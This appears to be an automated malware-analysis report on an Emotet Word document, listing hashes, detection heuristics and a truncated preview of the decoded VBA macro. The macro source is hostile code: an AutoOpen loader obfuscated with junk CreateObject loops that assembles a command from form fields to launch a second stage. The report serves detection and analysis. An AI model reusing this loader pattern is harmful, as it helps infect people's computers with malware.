Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 e47f8c73b71b01c3…

MALICIOUS

Office (OLE)

145.1 KB Created: 2019-05-15 19:18:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: b2567738ca8707a9191749a48e5d50b5 SHA-1: 90b5454e968d4faab81c08a30d93bd88b4a705c8 SHA-256: e47f8c73b71b01c3afa583d966d945f3b464a362aeb50175f69b01d2210083ee
382 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Office document containing an obfuscated auto-executing VBA macro. This macro utilizes `CreateObject` calls, including one for `Win32_Process`, indicating an intent to download and execute a second-stage payload. ClamAV detection further supports the Emotet family attribution.

Heuristics 10

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9010 bytes
SHA-256: 91cab3ada814a6b918d1c9ee82a503f1199240730b91871adb69654ae7f6bbcd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "s_57841"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "n940767, 0, 0, MSForms, TextBox"
Attribute VB_Control = "E15619, 1, 1, MSForms, TextBox"
Attribute VB_Control = "a91109_, 2, 2, MSForms, TextBox"
Attribute VB_Control = "N626148, 3, 3, MSForms, TextBox"
Attribute VB_Control = "a8907610, 4, 4, MSForms, TextBox"
Attribute VB_Control = "q_0528, 5, 5, MSForms, TextBox"

Attribute VB_Name = "M09790_3"

Attribute VB_Name = "v__995"

Attribute VB_Name = "a6703_79"

Attribute VB_Name = "G3460326"
Function n9940763(t95332)
   While z372132 And t788_409
            CreateObject ("j17166")
            CreateObject ("L32730")
            CreateObject ("832859606")
            CreateObject ("248522633")
            CreateObject ("l65229")
Wend
   While A552_695 And M50_440
            CreateObject ("k6388863")
            CreateObject ("K_7111")
            CreateObject ("489701791")
            CreateObject ("240759090")
            CreateObject ("R336773")
Wend
Set n9940763 = CVar(t95332)
   While C69635 And d6887072
            CreateObject ("H5971609")
            CreateObject ("h54167")
            CreateObject ("85332768")
            CreateObject ("623409453")
            CreateObject ("q017347")
Wend
   While t1941_ And i02469
            CreateObject ("V1_33084")
            CreateObject ("h58884")
            CreateObject ("62607857")
            CreateObject ("184258979")
            CreateObject ("r_03589")
Wend
   While d654556 And k4_424
            CreateObject ("K37729")
            CreateObject ("j53946")
            CreateObject ("928201204")
            CreateObject ("789183944")
            CreateObject ("I866123")
Wend
End Function
Sub _
 _
 _
autoopen()
On Error Resume Next
   While d_56547 And i4035254
            CreateObject ("R207_736")
            CreateObject ("q42576")
            CreateObject ("493193916")
            CreateObject ("30763852")
            CreateObject ("L18211")
Wend
   While I63821 And w0729467
            CreateObject ("i76270")
            CreateObject ("F7159_")
            CreateObject ("620497959")
            CreateObject ("244626175")
            CreateObject ("V706930")
Wend
M46_1740
   While M40723 And M104985
            CreateObject ("A278006_")
            CreateObject ("G75871_")
            CreateObject ("5211113")
            CreateObject ("618196999")
            CreateObject ("n383_82")
Wend
   While r54439 And N_123_7
            CreateObject ("r_717_")
            CreateObject ("W8290679")
            CreateObject ("318218793")
            CreateObject ("638418780")
            CreateObject ("r3712_")
Wend
End Sub


Attribute VB_Name = "I48011"
Function M46_1740()
On Error Resume Next
   While q716448 And o2897_
            CreateObject ("W901477")
            CreateObject ("j28938")
            CreateObject ("801693857")
            CreateObject ("696555488")
            CreateObject ("O12434")
Wend
   While L677978 And i_079_34
            CreateObject ("t56248")
            CreateObject ("T5_310")
            CreateObject ("185957434")
            CreateObject ("948946275")
            CreateObject ("F89957_8")
Wend
Z33228 = s_57841.q_0528 + s_57841.E15619 + s_57841.q_0528 + s_57841.a91109_ + s_57841.q_0528 + s_57841.q_0528 + s_57841.N626148 + s_57841.q_0528 + s_57841.q_0528 + s_57841.a8907610 + s_57841.q_0528 + s_57841.n940767 + s_57841.q_0528
   While M16693 And b627483
            CreateObject ("U9806647")
            CreateObject ("l29225")
            CreateObject ("739946518")
            CreateObject ("132499095")
            CreateObject ("L69115")
Wend
   While U36821 And o203_7
            CreateObject ("m377_99_")
            CreateObject ("R00573")
            CreateObject ("
... (truncated)